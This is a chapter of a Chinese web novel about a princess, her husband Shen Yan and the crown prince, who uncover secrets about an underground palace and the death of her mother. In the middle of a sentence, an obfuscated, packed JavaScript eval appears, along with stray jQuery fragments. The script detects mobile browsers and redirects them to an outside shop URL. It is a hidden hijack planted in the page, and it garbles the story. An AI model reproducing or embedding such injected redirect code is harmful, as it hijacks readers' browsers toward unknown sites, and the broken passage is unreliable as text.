“对了,地宫一事,又有新的发现了。”
姜绾悦耳的声音瞬间将沈言的思绪拉了回来。他指尖微微泛白,情绪似乎不怎么高涨。
他只是平静地颔了颔首,嗯了一声,既没有追问,也没有表现出太多兴趣。
姜绾瞧着他这副不咸不淡的模样,眉头不由微微蹙了起来:“沈言,你这是愿意听呢?还是不愿意?”
与方才不同,此刻姜绾语气中已经带上几分不耐烦。
她最烦的就是沈言这副要说不说,闷葫芦一般的样子。
她伸手戳了戳他的胸口,力道不重:“你要是心里有事,那便说出来,别给我摆这幅死人脸。地宫的事你要是不愿意听,我也不强求。”
沈言被她这么一戳,终于抬眸看了她一眼,他沉默了好一会儿,轻轻握住她的那只手,低声道:“没有不想听,你说,我听着。”
白日里的天空呈现出湛蓝色的,沈言跟着姜绾,回到了镇国侯府,府内还是冷冷清清的样子。
姜绾成亲,她便让莫伯回去了,过几日才能来。这偌大的侯府内也没有什么值钱的东西了,自然也不用一直守着。
推开那扇门,屏风还是跟先前一样立在原地。
他们将两扇屏风搬在一处。
姜绾指给沈言看:“我房间的这扇屏风上面便是西济的那片乱葬岗,这上面便是地宫的两个入口。”
沈言顺着她手指的方向看去,一处是足以容纳轿子的那个大坑,一个便是他掉下去的地方。
姜绾又转向另一扇屏风,指着它说:“但这一扇,我猜测这也是地宫的入口,可这上面描述的似是一片湖,入口有些难以看清。”
“我看了一下西济的地图,这两处离的甚远,怎么都不像是同一个地方。”
沈言起身盯着她问:“会不会有两座地宫。”
如果有两座的话,那么另一座地宫里面还是记录的那个女英雄吗?
姜绾不禁皱眉。
“你之前说萧策也在找柳下令,他还知道什么?”
姜绾这一问,倒是让沈言想了起来,他便将萧策给他看的那本书讲给了姜绾。
姜绾听完,那好看的眉眼皱得更深了:“怎么又是穿越!”
“可她为什么牺牲自己后,便可阻止这柳下令毁灭家国。她会不会跟柳下令有着什么特殊的联系是我们不知道的?”
姜绾脑子现在如同一团乱麻,什么也想不出来。
脑子好乱。
她闭上眼,轻轻按压。
吱——
姜绾与沈言同时朝着门口看去,只见一个人鬼鬼祟祟的从门外探出头。
“元中?”
姜绾疑惑的看向门口探出半个身子的少年。
元中不好意思的挠挠头:“见过郡主,沈大人。”
“方才去沈府听闻您二人来此,我这才来侯府。”
“殿下找郡主有事,烦请去酒楼一趟。”
元中没有穿下人的衣服,想必二人是刻意打扮出宫的。
不知萧策找她有何要紧事。
姜绾颔首,沈言也一并跟在身后,却被元中阻拦,他义正言辞道:“殿下说了,沈大人不必跟着,郡主丢不了。”
“而且这是郡主跟殿下的私事,沈大人不得插手。”
沈言脸上露出一丝不悦,委屈的看向姜绾。
那委屈巴巴的表情惹得姜绾一阵心疼,她轻言轻语:“好啦,乖乖等我回去。”
沈言微微颔首,没有阻拦。
他看着姜绾出了府门,心想,若是姜绾只能看着他该有多好,那明明是他的珍宝怎么会被那么多人惦记着。
越想越气,他索性回了府。
南春酒楼是整个东陵的世家子弟都会聚集的场合,这里有人为花魁一掷千金,也有人结识各种权贵,但更多的是来这里玩乐的。
就比如此刻在雅间的太子萧策。
红色的纱幔垂在地上,隔绝了她的视线,姜绾走近,萧策正仰着头将一杯烈酒灌下,他衣襟敞开着,下巴尖的水珠霎时滴落,顺着他的胸口一直没入衣领。
啧
又开始了。
萧策总是能精准的将自己诱人的样子展现给外人。
而他自己从未察觉。
“殿下找我何事?”
姜绾恭敬的行礼,抬眸看向脸上微微泛着潮红的萧策。
“你母亲的事,有下落了。”萧策声音有些哑,却也入耳动听。
姜绾身形一顿,坐在了萧策对面,面色有些凝重:“我母亲是扶桑人?”
萧策摇头。
“你母亲本名叫林菀宜,是商贾之女。她之所以自杀,这里面似乎有皇爷爷的手笔。”
“镇国侯府之前有个嬷嬷知晓这一切,本王找到她了,只可惜她被人拔舌,说不了话。”
“萧策,你知道柳下令吧。”姜绾偏头忽然问道。
听闻柳下令,萧策的酒顿时醒了大半,怔愣道:“你怎么知道?”
姜绾闭了闭眼,但还是说道:“我父亲应当是被建安帝派去寻这东西了。除了北地,世道安定,哪里需要我父亲去镇守。”
“那些在宫中听到的捷报,应当是我父亲与建安帝的一种密语。”
“捷报,未寻得;战败,寻得。”
“那嬷嬷被拔了舌又如何,你们帝王想知道的事情,有什么难办的!”
“还真有!”萧策反驳道,“那个人就是你爹。”
见姜绾已经猜出七七八八,萧策也不想再隐瞒什么了。
“皇爷爷当年派姜兆四处征战,便是为了寻找柳下令。柳下令一日寻不到,他便一日不能安。你的母亲曾经跟着你爹一同寻找柳下令,后来她生下了你,皇爷爷便下诏让你们母女二人回了东陵。”
“次年,你父亲回京跟你母亲有了姜颜。你父亲说他一人没有亲人相待,想带走你。皇爷爷同意了。”
“后来,你母亲便自尽了。”
“你父亲这么久都没有寻得柳下令,皇爷爷想杀了他,换个人。这事被你母亲听见了,为了保全你和姜兆,所以才自尽的。”
“其实你父亲早就知晓你母亲离世的消息了,为了保护你,他选择不知,很久之后,才带着你回去了。”
“他告诉皇爷爷,柳下令有希望了,他找到了那个女子的墓穴。具体情况还得等他探查。”
“他非常谨慎,并没有告诉皇爷爷那墓穴在哪。皇爷爷只能等着,那时候他已经病入膏肓了,没想到等来了姜兆战死沙场的消息。”
“姜兆死了,可他的女儿姜绾还在啊。你是唯一一个跟随姜兆去探查活下来的人。他想你一定有用处,便封你为郡主,让皇贵妃教导你,将你教成一个只为皇家的利器。”
“没想到,皇爷爷还没等到那时候,突然暴毙了。”
“天机司又突降灭世预言,这才将你软禁。”
萧策说的不错,他父亲一定是去过地宫了。许是不想让百姓流离失所这才不告知的吧。
姜绾垂着眼,萧策看不清她的情绪,他声音带着小心翼翼:“你恨我吗?”
姜绾抬眼,眼中透出笑意:“此事跟殿下无关,为何要恨,祸不及子女,若是揪着不放,谁都不会安生。”
“我不记得我跟着父亲去过哪里了,我只记得我三人在镇国侯府的一切。若殿下想从我身上找突破口,劝殿下还是不要白费功夫了。”
“我什么都不知道。”
噗嗤。
萧策笑出声,和他预想的结果一模一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816303|211060||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
样:“绾妹妹还真是,什么事都瞒不过你。”
“既然殿下知晓这些事,那我想,当初预言降世,建平帝力排众议不想囚禁我,也是因为建安帝告诉他所有的一起,是不是?”
“对,皇爷爷走之前,将我和父皇留下来,将这些都告诉我们了。嘱咐我们,一定要寻得柳下令,振兴整个东渡。这是我们祖先的夙愿。”
姜绾颔首,忽得抬起眼,正视着萧策:“我不管殿下这么做因为什么?为了谁?若是殿下动我身边之人,那我定不会放过你们任何一个参与过这些事情的人。”
“威胁本王?”萧策挑眉,对姜绾的威胁嗤之以鼻。
姜绾轻笑:“这怎么能是威胁的,臣女也是不想让身边之人无端丧命。”
萧策当然知晓她话中指的是谁。
姜绾走后,屋子骤然安静了下来。他看着她坐过的位置静静的出神,他端着酒杯凑到唇边,抿了一口。
她真的变了很多。
以前的姜绾,眼底装着的从来就只有自己。
她就像一株生长在悬崖峭壁上的花草,为了活下去可以不择手段,旁人的死活与她无关。
便是被囚在南山的那些年,她心底盘算的也是如何脱身,如何自保,从未对谁展现半分真正的柔情。
可如今,却开始在意起周围的人和物了。
似乎一切都在沈言出现在她身边时,有了改变。
从他知道姜绾冒死救下沈言时,他便有些意外。原以为只是装的时间太长了,假意里面掺真情。她那样一个凡事以自身利益为先的人,怎会为了一个素不相识的人豁出性命?
能让她改变这么多。
沈言,你可真是一个厉害的人。
让本王有些刮目相看。
没过一会儿,元中手中捏着一封信,低着头,闷声不响地走了进来。
萧策余光瞥见一道人影窜了进来,顿时皱起眉:“元中,你进来为什么不敲门?”
元中被他这一嗓子喊得停下了脚步,抬头看了看萧策黑沉沉的脸,又扭头看了看身后大敞着的门,一脸认真地眨巴着眼睛,很是困惑:“殿下,门开着啊,您也没说不让进,那我寻思着,门开着不就是让人进的意思嘛!”
萧策被他的歪理一时间整得有些语塞:“门开着是让你进,但不是让你像条泥鳅一样哧溜一下钻进来!你倒是吱一声啊!”
“奥。”元中挠了挠后脑勺,不等萧策开口,便转身大步出了房门。
萧策还没来得及开口,便听见门外一道清亮又极其认真的声音
“——吱。”
这一声拖得很长,像是生怕里头的人听不清,萧策整个人僵在原地,嘴角微微抽搐一下。
他闭了闭眼,深吸一口气,端着酒杯的手指尖微微泛白,裸露在外的小臂青筋凸起,半响挤出一句话来:“元中!你给我滚进来!”
元中杵在外面似乎对自己的表现很是满意,立刻应了一声:“哎,来了来了。”
他便又像一条泥鳅似得哧溜一下钻了进去,脸上还挂着真诚的笑:“殿下,我吱了,您听见没?”
萧策抬手扶额,有些无语。
“说,什么事?”
萧策也懒得计较这些个小事。
元中把信递给萧策:“长公主殿下的孩子,宋砚要回来了,他差人给你写了信。”
萧策有些疑惑,这宋砚怎么忽然想着回来了,南洲云隐的事处理完了?
他带着疑惑拆开信,看了起来。
元中急头白脸的也凑过去,挤着萧策。
“啧,要不你看!”
“殿下,我不识字。”
萧策翻了个白眼,还不等他看完两句,元中又道:“殿下,那男人婆说什么了?”